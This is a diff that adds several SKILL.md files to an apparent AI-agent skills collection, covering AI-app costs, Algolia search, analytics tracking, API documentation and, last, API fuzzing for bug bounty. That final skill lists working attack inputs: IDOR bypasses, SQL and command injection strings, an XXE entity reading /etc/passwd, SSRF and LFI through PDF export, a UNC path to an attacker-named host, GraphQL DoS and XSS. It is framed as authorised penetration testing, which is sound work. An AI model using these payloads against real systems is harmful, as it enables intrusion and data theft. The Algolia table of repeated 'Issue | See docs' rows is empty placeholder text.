+| Use cheaper models | 10-50x |
+| Limit output tokens | Variable |
+| Cache common queries | High |
+| Batch similar requests | Medium |
+| Truncate input | Variable |
+
+### Usage Limits
+```javascript
+async function checkUsageLimits(userId) {
+  const usage = await db.usage.sum({
+    where: {
+      userId,
+      createdAt: { gte: startOfMonth() }
+    }
+  });
+
+  const limits = await getUserLimits(userId);
+  if (usage.cost >= limits.monthlyCost) {
+    throw new Error('Monthly limit reached');
+  }
+  return true;
+}
+```
+```
+
+## Anti-Patterns
+
+### ❌ Thin Wrapper Syndrome
+
+**Why bad**: No differentiation.
+Users just use ChatGPT.
+No pricing power.
+Easy to replicate.
+
+**Instead**: Add domain expertise.
+Perfect the UX for specific task.
+Integrate into workflows.
+Post-process outputs.
+
+### ❌ Ignoring Costs Until Scale
+
+**Why bad**: Surprise bills.
+Negative unit economics.
+Can't price properly.
+Business isn't viable.
+
+**Instead**: Track every API call.
+Know your cost per user.
+Set usage limits.
+Price with margin.
+
+### ❌ No Output Validation
+
+**Why bad**: AI hallucinates.
+Inconsistent formatting.
+Bad user experience.
+Trust issues.
+
+**Instead**: Validate all outputs.
+Parse structured responses.
+Have fallback handling.
+Post-process for consistency.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| AI API costs spiral out of control | high | ## Controlling AI Costs |
+| App breaks when hitting API rate limits | high | ## Handling Rate Limits |
+| AI gives wrong or made-up information | high | ## Handling Hallucinations |
+| AI responses too slow for good UX | medium | ## Improving AI Latency |
+
+## Related Skills
+
+Works well with: `llm-architect`, `micro-saas-launcher`, `frontend`, `backend`

skills/algolia-search/SKILL.md

@@ -0,0 +1,66 @@
+---
+name: algolia-search
+description: "Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Algolia Search Integration
+
+## Patterns
+
+### React InstantSearch with Hooks
+
+Modern React InstantSearch setup using hooks for type-ahead search.
+
+Uses react-instantsearch-hooks-web package with algoliasearch client.
+Widgets are components that can be customized with classnames.
+
+Key hooks:
+- useSearchBox: Search input handling
+- useHits: Access search results
+- useRefinementList: Facet filtering
+- usePagination: Result pagination
+- useInstantSearch: Full state access
+
+
+### Next.js Server-Side Rendering
+
+SSR integration for Next.js with react-instantsearch-nextjs package.
+
+Use <InstantSearchNext> instead of <InstantSearch> for SSR.
+Supports both Pages Router and App Router (experimental).
+
+Key considerations:
+- Set dynamic = 'force-dynamic' for fresh results
+- Handle URL synchronization with routing prop
+- Use getServerState for initial state
+
+
+### Data Synchronization and Indexing
+
+Indexing strategies for keeping Algolia in sync with your data.
+
+Three main approaches:
+1. Full Reindexing - Replace entire index (expensive)
+2. Full Record Updates - Replace individual records
+3. Partial Updates - Update specific attributes only
+
+Best practices:
+- Batch records (ideal: 10MB, 1K-10K records per batch)
+- Use incremental updates when possible
+- partialUpdateObjects for attribute-only changes
+- Avoid deleteBy (computationally expensive)
+
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | See docs |
+| Issue | high | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |

skills/analytics-tracking/SKILL.md

@@ -0,0 +1,539 @@
+---
+name: analytics-tracking
+description: When the user wants to set up, improve, or audit analytics tracking and measurement. Also use when the user mentions "set up tracking," "GA4," "Google Analytics," "conversion tracking," "event tracking," "UTM parameters," "tag manager," "GTM," "analytics implementation," or "tracking plan." For A/B test measurement, see ab-test-setup.
+---
+
+# Analytics Tracking
+
+You are an expert in analytics implementation and measurement. Your goal is to help set up tracking that provides actionable insights for marketing and product decisions.
+
+## Initial Assessment
+
+Before implementing tracking, understand:
+
+1. **Business Context**
+   - What decisions will this data inform?
+   - What are the key conversion actions?
+   - What questions need answering?
+
+2. **Current State**
+   - What tracking exists?
+   - What tools are in use (GA4, Mixpanel, Amplitude, etc.)?
+   - What's working/not working?
+
+3. **Technical Context**
+   - What's the tech stack?
+   - Who will implement and maintain?
+   - Any privacy/compliance requirements?
+
+---
+
+## Core Principles
+
+### 1. Track for Decisions, Not Data
+- Every event should inform a decision
+- Avoid vanity metrics
+- Quality > quantity of events
+
+### 2. Start with the Questions
+- What do you need to know?
+- What actions will you take based on this data?
+- Work backwards to what you need to track
+
+### 3. Name Things Consistently
+- Naming conventions matter
+- Establish patterns before implementing
+- Document everything
+
+### 4. Maintain Data Quality
+- Validate implementation
+- Monitor for issues
+- Clean data > more data
+
+---
+
+## Tracking Plan Framework
+
+### Structure
+
+```
+Event Name | Event Category | Properties | Trigger | Notes
+---------- | ------------- | ---------- | ------- | -----
+```
+
+### Event Types
+
+**Pageviews**
+- Automatic in most tools
+- Enhanced with page metadata
+
+**User Actions**
+- Button clicks
+- Form submissions
+- Feature usage
+- Content interactions
+
+**System Events**
+- Signup completed
+- Purchase completed
+- Subscription changed
+- Errors occurred
+
+**Custom Conversions**
+- Goal completions
+- Funnel stages
+- Business-specific milestones
+
+---
+
+## Event Naming Conventions
+
+### Format Options
+
+**Object-Action (Recommended)**
+```
+signup_completed
+button_clicked
+form_submitted
+article_read
+```
+
+**Action-Object**
+```
+click_button
+submit_form
+complete_signup
+```
+
+**Category_Object_Action**
+```
+checkout_payment_completed
+blog_article_viewed
+onboarding_step_completed
+```
+
+### Best Practices
+
+- Lowercase with underscores
+- Be specific: `cta_hero_clicked` vs. `button_clicked`
+- Include context in properties, not event name
+- Avoid spaces and special characters
+- Document decisions
+
+---
+
+## Essential Events to Track
+
+### Marketing Site
+
+**Navigation**
+- page_view (enhanced)
+- outbound_link_clicked
+- scroll_depth (25%, 50%, 75%, 100%)
+
+**Engagement**
+- cta_clicked (button_text, location)
+- video_played (video_id, duration)
+- form_started
+- form_submitted (form_type)
+- resource_downloaded (resource_name)
+
+**Conversion**
+- signup_started
+- signup_completed
+- demo_requested
+- contact_submitted
+
+### Product/App
+
+**Onboarding**
+- signup_completed
+- onboarding_step_completed (step_number, step_name)
+- onboarding_completed
+- first_key_action_completed
+
+**Core Usage**
+- feature_used (feature_name)
+- action_completed (action_type)
+- session_started
+- session_ended
+
+**Monetization**
+- trial_started
+- pricing_viewed
+- checkout_started
+- purchase_completed (plan, value)
+- subscription_cancelled
+
+### E-commerce
+
+**Browsing**
+- product_viewed (product_id, category, price)
+- product_list_viewed (list_name, products)
+- product_searched (query, results_count)
+
+**Cart**
+- product_added_to_cart
+- product_removed_from_cart
+- cart_viewed
+
+**Checkout**
+- checkout_started
+- checkout_step_completed (step)
+- payment_info_entered
+- purchase_completed (order_id, value, products)
+
+---
+
+## Event Properties (Parameters)
+
+### Standard Properties to Consider
+
+**Page/Screen**
+- page_title
+- page_location (URL)
+- page_referrer
+- content_group
+
+**User**
+- user_id (if logged in)
+- user_type (free, paid, admin)
+- account_id (B2B)
+- plan_type
+
+**Campaign**
+- source
+- medium
+- campaign
+- content
+- term
+
+**Product** (e-commerce)
+- product_id
+- product_name
+- category
+- price
+- quantity
+- currency
+
+**Timing**
+- timestamp
+- session_duration
+- time_on_page
+
+### Best Practices
+
+- Use consistent property names
+- Include relevant context
+- Don't duplicate GA4 automatic properties
+- Avoid PII in properties
+- Document expected values
+
+---
+
+## GA4 Implementation
+
+### Configuration
+
+**Data Streams**
+- One stream per platform (web, iOS, Android)
+- Enable enhanced measurement
+
+**Enhanced Measurement Events**
+- page_view (automatic)
+- scroll (90% depth)
+- outbound_click
+- site_search
+- video_engagement
+- file_download
+
+**Recommended Events**
+- Use Google's predefined events when possible
+- Correct naming for enhanced reporting
+- See: https://support.google.com/analytics/answer/9267735
+
+### Custom Events (GA4)
+
+```javascript
+// gtag.js
+gtag('event', 'signup_completed', {
+  'method': 'email',
+  'plan': 'free'
+});
+
+// Google Tag Manager (dataLayer)
+dataLayer.push({
+  'event': 'signup_completed',
+  'method': 'email',
+  'plan': 'free'
+});
+```
+
+### Conversions Setup
+
+1. Collect event in GA4
+2. Mark as conversion in Admin > Events
+3. Set conversion counting (once per session or every time)
+4. Import to Google Ads if needed
+
+### Custom Dimensions and Metrics
+
+**When to use:**
+- Properties you want to segment by
+- Metrics you want to aggregate
+- Beyond standard parameters
+
+**Setup:**
+1. Create in Admin > Custom definitions
+2. Scope: Event, User, or Item
+3. Parameter name must match
+
+---
+
+## Google Tag Manager Implementation
+
+### Container Structure
+
+**Tags**
+- GA4 Configuration (base)
+- GA4 Event tags (one per event or grouped)
+- Conversion pixels (Facebook, LinkedIn, etc.)
+
+**Triggers**
+- Page View (DOM Ready, Window Loaded)
+- Click - All Elements / Just Links
+- Form Submission
+- Custom Events
+
+**Variables**
+- Built-in: Click Text, Click URL, Page Path, etc.
+- Data Layer variables
+- JavaScript variables
+- Lookup tables
+
+### Best Practices
+
+- Use folders to organize
+- Consistent naming (Tag_Type_Description)
+- Version notes on every publish
+- Preview mode for testing
+- Workspaces for team collaboration
+
+### Data Layer Pattern
+
+```javascript
+// Push custom event
+dataLayer.push({
+  'event': 'form_submitted',
+  'form_name': 'contact',
+  'form_location': 'footer'
+});
+
+// Set user properties
+dataLayer.push({
+  'user_id': '12345',
+  'user_type': 'premium'
+});
+
+// E-commerce event
+dataLayer.push({
+  'event': 'purchase',
+  'ecommerce': {
+    'transaction_id': 'T12345',
+    'value': 99.99,
+    'currency': 'USD',
+    'items': [{
+      'item_id': 'SKU123',
+      'item_name': 'Product Name',
+      'price': 99.99
+    }]
+  }
+});
+```
+
+---
+
+## UTM Parameter Strategy
+
+### Standard Parameters
+
+| Parameter | Purpose | Example |
+|-----------|---------|---------|
+| utm_source | Where traffic comes from | google, facebook, newsletter |
+| utm_medium | Marketing medium | cpc, email, social, referral |
+| utm_campaign | Campaign name | spring_sale, product_launch |
+| utm_content | Differentiate versions | hero_cta, sidebar_link |
+| utm_term | Paid search keywords | running+shoes |
+
+### Naming Conventions
+
+**Lowercase everything**
+- google, not Google
+- email, not Email
+
+**Use underscores or hyphens consistently**
+- product_launch or product-launch
+- Pick one, stick with it
+
+**Be specific but concise**
+- blog_footer_cta, not cta1
+- 2024_q1_promo, not promo
+
+### UTM Documentation
+
+Track all UTMs in a spreadsheet or tool:
+
+| Campaign | Source | Medium | Content | Full URL | Owner | Date |
+|----------|--------|--------|---------|----------|-------|------|
+| ... | ... | ... | ... | ... | ... | ... |
+
+### UTM Builder
+
+Provide a consistent UTM builder link to team:
+- Google's URL builder
+- Internal tool
+- Spreadsheet formula
+
+---
+
+## Debugging and Validation
+
+### Testing Tools
+
+**GA4 DebugView**
+- Real-time event monitoring
+- Enable with ?debug_mode=true
+- Or via Chrome extension
+
+**GTM Preview Mode**
+- Test triggers and tags
+- See data layer state
+- Validate before publish
+
+**Browser Extensions**
+- GA Debugger
+- Tag Assistant
+- dataLayer Inspector
+
+### Validation Checklist
+
+- [ ] Events firing on correct triggers
+- [ ] Property values populating correctly
+- [ ] No duplicate events
+- [ ] Works across browsers
+- [ ] Works on mobile
+- [ ] Conversions recorded correctly
+- [ ] User ID passing when logged in
+- [ ] No PII leaking
+
+### Common Issues
+
+**Events not firing**
+- Trigger misconfigured
+- Tag paused
+- GTM not loaded on page
+
+**Wrong values**
+- Variable not configured
+- Data layer not pushing correctly
+- Timing issues (fire before data ready)
+
+**Duplicate events**
+- Multiple GTM containers
+- Multiple tag instances
+- Trigger firing multiple times
+
+---
+
+## Privacy and Compliance
+
+### Considerations
+
+- Cookie consent required in EU/UK/CA
+- No PII in analytics properties
+- Data retention settings
+- User deletion capabilities
+- Cross-device tracking consent
+
+### Implementation
+
+**Consent Mode (GA4)**
+- Wait for consent before tracking
+- Use consent mode for partial tracking
+- Integrate with consent management platform
+
+**Data Minimization**
+- Only collect what you need
+- IP anonymization
+- No PII in custom dimensions
+
+---
+
+## Output Format
+
+### Tracking Plan Document
+
+```
+# [Site/Product] Tracking Plan
+
+## Overview
+- Tools: GA4, GTM
+- Last updated: [Date]
+- Owner: [Name]
+
+## Events
+
+### Marketing Events
+
+| Event Name | Description | Properties | Trigger |
+|------------|-------------|------------|---------|
+| signup_started | User initiates signup | source, page | Click signup CTA |
+| signup_completed | User completes signup | method, plan | Signup success page |
+
+### Product Events
+[Similar table]
+
+## Custom Dimensions
+
+| Name | Scope | Parameter | Description |
+|------|-------|-----------|-------------|
+| user_type | User | user_type | Free, trial, paid |
+
+## Conversions
+
+| Conversion | Event | Counting | Google Ads |
+|------------|-------|----------|------------|
+| Signup | signup_completed | Once per session | Yes |
+
+## UTM Convention
+
+[Guidelines]
+```
+
+### Implementation Code
+
+Provide ready-to-use code snippets
+
+### Testing Checklist
+
+Specific validation steps
+
+---
+
+## Questions to Ask
+
+If you need more context:
+1. What tools are you using (GA4, Mixpanel, etc.)?
+2. What key actions do you want to track?
+3. What decisions will this data inform?
+4. Who implements - dev team or marketing?
+5. Are there privacy/consent requirements?
+6. What's already tracked?
+
+---
+
+## Related Skills
+
+- **ab-test-setup**: For experiment tracking
+- **seo-audit**: For organic traffic analysis
+- **page-cro**: For conversion optimization (uses this data)

skills/api-documentation-generator/SKILL.md

@@ -0,0 +1,484 @@
+---
+name: api-documentation-generator
+description: "Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices"
+---
+
+# API Documentation Generator
+
+## Overview
+
+Automatically generate clear, comprehensive API documentation from your codebase. This skill helps you create professional documentation that includes endpoint descriptions, request/response examples, authentication details, error handling, and usage guidelines.
+
+Perfect for REST APIs, GraphQL APIs, and WebSocket APIs.
+
+## When to Use This Skill
+
+- Use when you need to document a new API
+- Use when updating existing API documentation
+- Use when your API lacks clear documentation
+- Use when onboarding new developers to your API
+- Use when preparing API documentation for external users
+- Use when creating OpenAPI/Swagger specifications
+
+## How It Works
+
+### Step 1: Analyze the API Structure
+
+First, I'll examine your API codebase to understand:
+- Available endpoints and routes
+- HTTP methods (GET, POST, PUT, DELETE, etc.)
+- Request parameters and body structure
+- Response formats and status codes
+- Authentication and authorization requirements
+- Error handling patterns
+
+### Step 2: Generate Endpoint Documentation
+
+For each endpoint, I'll create documentation including:
+
+**Endpoint Details:**
+- HTTP method and URL path
+- Brief description of what it does
+- Authentication requirements
+- Rate limiting information (if applicable)
+
+**Request Specification:**
+- Path parameters
+- Query parameters
+- Request headers
+- Request body schema (with types and validation rules)
+
+**Response Specification:**
+- Success response (status code + body structure)
+- Error responses (all possible error codes)
+- Response headers
+
+**Code Examples:**
+- cURL command
+- JavaScript/TypeScript (fetch/axios)
+- Python (requests)
+- Other languages as needed
+
+### Step 3: Add Usage Guidelines
+
+I'll include:
+- Getting started guide
+- Authentication setup
+- Common use cases
+- Best practices
+- Rate limiting details
+- Pagination patterns
+- Filtering and sorting options
+
+### Step 4: Document Error Handling
+
+Clear error documentation including:
+- All possible error codes
+- Error message formats
+- Troubleshooting guide
+- Common error scenarios and solutions
+
+### Step 5: Create Interactive Examples
+
+Where possible, I'll provide:
+- Postman collection
+- OpenAPI/Swagger specification
+- Interactive code examples
+- Sample responses
+
+## Examples
+
+### Example 1: REST API Endpoint Documentation
+
+```markdown
+## Create User
+
+Creates a new user account.
+
+**Endpoint:** `POST /api/v1/users`
+
+**Authentication:** Required (Bearer token)
+
+**Request Body:**
+\`\`\`json
+{
+  "email": "user@example.com",      // Required: Valid email address
+  "password": "SecurePass123!",     // Required: Min 8 chars, 1 uppercase, 1 number
+  "name": "John Doe",               // Required: 2-50 characters
+  "role": "user"                    // Optional: "user" or "admin" (default: "user")
+}
+\`\`\`
+
+**Success Response (201 Created):**
+\`\`\`json
+{
+  "id": "usr_1234567890",
+  "email": "user@example.com",
+  "name": "John Doe",
+  "role": "user",
+  "createdAt": "2026-01-20T10:30:00Z",
+  "emailVerified": false
+}
+\`\`\`
+
+**Error Responses:**
+
+- `400 Bad Request` - Invalid input data
+  \`\`\`json
+  {
+    "error": "VALIDATION_ERROR",
+    "message": "Invalid email format",
+    "field": "email"
+  }
+  \`\`\`
+
+- `409 Conflict` - Email already exists
+  \`\`\`json
+  {
+    "error": "EMAIL_EXISTS",
+    "message": "An account with this email already exists"
+  }
+  \`\`\`
+
+- `401 Unauthorized` - Missing or invalid authentication token
+
+**Example Request (cURL):**
+\`\`\`bash
+curl -X POST https://api.example.com/api/v1/users \
+  -H "Authorization: Bearer YOUR_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "email": "user@example.com",
+    "password": "SecurePass123!",
+    "name": "John Doe"
+  }'
+\`\`\`
+
+**Example Request (JavaScript):**
+\`\`\`javascript
+const response = await fetch('https://api.example.com/api/v1/users', {
+  method: 'POST',
+  headers: {
+    'Authorization': `Bearer ${token}`,
+    'Content-Type': 'application/json'
+  },
+  body: JSON.stringify({
+    email: 'user@example.com',
+    password: 'SecurePass123!',
+    name: 'John Doe'
+  })
+});
+
+const user = await response.json();
+console.log(user);
+\`\`\`
+
+**Example Request (Python):**
+\`\`\`python
+import requests
+
+response = requests.post(
+    'https://api.example.com/api/v1/users',
+    headers={
+        'Authorization': f'Bearer {token}',
+        'Content-Type': 'application/json'
+    },
+    json={
+        'email': 'user@example.com',
+        'password': 'SecurePass123!',
+        'name': 'John Doe'
+    }
+)
+
+user = response.json()
+print(user)
+\`\`\`
+```
+
+### Example 2: GraphQL API Documentation
+
+```markdown
+## User Query
+
+Fetch user information by ID.
+
+**Query:**
+\`\`\`graphql
+query GetUser($id: ID!) {
+  user(id: $id) {
+    id
+    email
+    name
+    role
+    createdAt
+    posts {
+      id
+      title
+      publishedAt
+    }
+  }
+}
+\`\`\`
+
+**Variables:**
+\`\`\`json
+{
+  "id": "usr_1234567890"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "data": {
+    "user": {
+      "id": "usr_1234567890",
+      "email": "user@example.com",
+      "name": "John Doe",
+      "role": "user",
+      "createdAt": "2026-01-20T10:30:00Z",
+      "posts": [
+        {
+          "id": "post_123",
+          "title": "My First Post",
+          "publishedAt": "2026-01-21T14:00:00Z"
+        }
+      ]
+    }
+  }
+}
+\`\`\`
+
+**Errors:**
+\`\`\`json
+{
+  "errors": [
+    {
+      "message": "User not found",
+      "extensions": {
+        "code": "USER_NOT_FOUND",
+        "userId": "usr_1234567890"
+      }
+    }
+  ]
+}
+\`\`\`
+```
+
+### Example 3: Authentication Documentation
+
+```markdown
+## Authentication
+
+All API requests require authentication using Bearer tokens.
+
+### Getting a Token
+
+**Endpoint:** `POST /api/v1/auth/login`
+
+**Request:**
+\`\`\`json
+{
+  "email": "user@example.com",
+  "password": "your-password"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
+  "expiresIn": 3600,
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+
+### Using the Token
+
+Include the token in the Authorization header:
+
+\`\`\`
+Authorization: Bearer YOUR_TOKEN
+\`\`\`
+
+### Token Expiration
+
+Tokens expire after 1 hour. Use the refresh token to get a new access token:
+
+**Endpoint:** `POST /api/v1/auth/refresh`
+
+**Request:**
+\`\`\`json
+{
+  "refreshToken": "refresh_token_here"
+}
+\`\`\`
+```
+
+## Best Practices
+
+### ✅ Do This
+
+- **Be Consistent** - Use the same format for all endpoints
+- **Include Examples** - Provide working code examples in multiple languages
+- **Document Errors** - List all possible error codes and their meanings
+- **Show Real Data** - Use realistic example data, not "foo" and "bar"
+- **Explain Parameters** - Describe what each parameter does and its constraints
+- **Version Your API** - Include version numbers in URLs (/api/v1/)
+- **Add Timestamps** - Show when documentation was last updated
+- **Link Related Endpoints** - Help users discover related functionality
+- **Include Rate Limits** - Document any rate limiting policies
+- **Provide Postman Collection** - Make it easy to test your API
+
+### ❌ Don't Do This
+
+- **Don't Skip Error Cases** - Users need to know what can go wrong
+- **Don't Use Vague Descriptions** - "Gets data" is not helpful
+- **Don't Forget Authentication** - Always document auth requirements
+- **Don't Ignore Edge Cases** - Document pagination, filtering, sorting
+- **Don't Leave Examples Broken** - Test all code examples
+- **Don't Use Outdated Info** - Keep documentation in sync with code
+- **Don't Overcomplicate** - Keep it simple and scannable
+- **Don't Forget Response Headers** - Document important headers
+
+## Documentation Structure
+
+### Recommended Sections
+
+1. **Introduction**
+   - What the API does
+   - Base URL
+   - API version
+   - Support contact
+
+2. **Authentication**
+   - How to authenticate
+   - Token management
+   - Security best practices
+
+3. **Quick Start**
+   - Simple example to get started
+   - Common use case walkthrough
+
+4. **Endpoints**
+   - Organized by resource
+   - Full details for each endpoint
+
+5. **Data Models**
+   - Schema definitions
+   - Field descriptions
+   - Validation rules
+
+6. **Error Handling**
+   - Error code reference
+   - Error response format
+   - Troubleshooting guide
+
+7. **Rate Limiting**
+   - Limits and quotas
+   - Headers to check
+   - Handling rate limit errors
+
+8. **Changelog**
+   - API version history
+   - Breaking changes
+   - Deprecation notices
+
+9. **SDKs and Tools**
+   - Official client libraries
+   - Postman collection
+   - OpenAPI specification
+
+## Common Pitfalls
+
+### Problem: Documentation Gets Out of Sync
+**Symptoms:** Examples don't work, parameters are wrong, endpoints return different data
+**Solution:** 
+- Generate docs from code comments/annotations
+- Use tools like Swagger/OpenAPI
+- Add API tests that validate documentation
+- Review docs with every API change
+
+### Problem: Missing Error Documentation
+**Symptoms:** Users don't know how to handle errors, support tickets increase
+**Solution:**
+- Document every possible error code
+- Provide clear error messages
+- Include troubleshooting steps
+- Show example error responses
+
+### Problem: Examples Don't Work
+**Symptoms:** Users can't get started, frustration increases
+**Solution:**
+- Test every code example
+- Use real, working endpoints
+- Include complete examples (not fragments)
+- Provide a sandbox environment
+
+### Problem: Unclear Parameter Requirements
+**Symptoms:** Users send invalid requests, validation errors
+**Solution:**
+- Mark required vs optional clearly
+- Document data types and formats
+- Show validation rules
+- Provide example values
+
+## Tools and Formats
+
+### OpenAPI/Swagger
+Generate interactive documentation:
+```yaml
+openapi: 3.0.0
+info:
+  title: My API
+  version: 1.0.0
+paths:
+  /users:
+    post:
+      summary: Create a new user
+      requestBody:
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/CreateUserRequest'
+```
+
+### Postman Collection
+Export collection for easy testing:
+```json
+{
+  "info": {
+    "name": "My API",
+    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
+  },
+  "item": [
+    {
+      "name": "Create User",
+      "request": {
+        "method": "POST",
+        "url": "{{baseUrl}}/api/v1/users"
+      }
+    }
+  ]
+}
+```
+
+## Related Skills
+
+- `@doc-coauthoring` - For collaborative documentation writing
+- `@copywriting` - For clear, user-friendly descriptions
+- `@test-driven-development` - For ensuring API behavior matches docs
+- `@systematic-debugging` - For troubleshooting API issues
+
+## Additional Resources
+
+- [OpenAPI Specification](https://swagger.io/specification/)
+- [REST API Best Practices](https://restfulapi.net/)
+- [GraphQL Documentation](https://graphql.org/learn/)
+- [API Design Patterns](https://www.apiguide.com/)
+- [Postman Documentation](https://learning.postman.com/docs/)
+
+---
+
+**Pro Tip:** Keep your API documentation as close to your code as possible. Use tools that generate docs from code comments to ensure they stay in sync!

skills/api-fuzzing-bug-bounty/SKILL.md

@@ -0,0 +1,433 @@
+---
+name: API Fuzzing for Bug Bounty
+description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# API Fuzzing for Bug Bounty
+
+## Purpose
+
+Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
+
+## Inputs/Prerequisites
+
+- Burp Suite or similar proxy tool
+- API wordlists (SecLists, api_wordlist)
+- Understanding of REST/GraphQL/SOAP protocols
+- Python for scripting
+- Target API endpoints and documentation (if available)
+
+## Outputs/Deliverables
+
+- Identified API vulnerabilities
+- IDOR exploitation proofs
+- Authentication bypass techniques
+- SQL injection points
+- Unauthorized data access documentation
+
+---
+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+
+---
+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
